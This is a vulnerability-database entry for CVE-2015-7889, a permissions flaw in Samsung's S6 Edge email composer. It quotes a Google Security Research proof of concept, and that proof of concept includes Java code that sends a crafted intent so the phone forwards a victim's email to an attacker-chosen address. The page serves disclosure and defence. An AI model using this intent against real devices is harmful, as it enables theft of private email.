CVE-2015-7889

medium
Published 2017-12-28 Β· Modified 2026-05-13
CVSS v3
5.5
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CVSS v4 NEW
β€”
not yet in upstream
VIR risk
6.5

Description

The SecEmailComposer/EmailComposer application in the Samsung S6 Edge before the October 2015 MR uses weak permissions for the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND service action, which might allow remote attackers with knowledge of the local email address to obtain sensitive information via a crafted application that sends a crafted intent.

Predictions

Exploit likelihood
55%
Patch ETA
β€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β€” if you've already worked around this in production β€” publish your fix to the community-verified tier.

✚ Propose a mitigation on Community β†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38558 dos android verified text Β· 2 KB
Google Security Research Β· 2015-10-28

Samsung - SecEmailComposer QUICK_REPLY_BACKGROUND Permissions

text exploit Source: Exploit-DB
Source: https://code.google.com/p/google-security-research/issues/detail?id=490

The SecEmailComposer/EmailComposer application used by the Samsung S6 Edge has an exported service action to do quick replies to emails. It was found that this action required no permissions to call, and could lead to an unprivileged application gaining access to email content.

Service Action: com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND
Component: com.samsung.android.email.composer
Class Name: com.samsung.android.email.composer.service.QuickReplyService

The service takes a JSON encoded string with various additional parameters. We need to know two parameters, the email address of the local account and a message ID. We can guess a valid message ID (which just seems to be an incrementing number).

If we guess an invalid ID the service simply returns, but if we do get a valid ID the service seems to automatically create the reply email, attach an attacker supplied message as well as the contents of the original message and sends it to any email address you like. For example:

Intent intent = new Intent();
intent.setAction("com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND");
intent.setClassName("com.samsung.android.email.composer",
       "com.samsung.android.email.composer.service.QuickReplyService");
intent.putExtra("data", "{'original-msg-id':1, " +
       "'account-id':'project.zero.victim@gmail.com', " +
       "'msg':'Hello World!'," +
       "'title':'Hello Title'," +
       "'toList':'project.zero.attacker@gmail.com'}");
ComponentName name = MainActivity.this.startService(intent);

No permissions are required to send this service intent. If successfully sent this will show up in a "sent email" notification and will be present user’s sent email folder.

References

CWEs

CWE-275

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.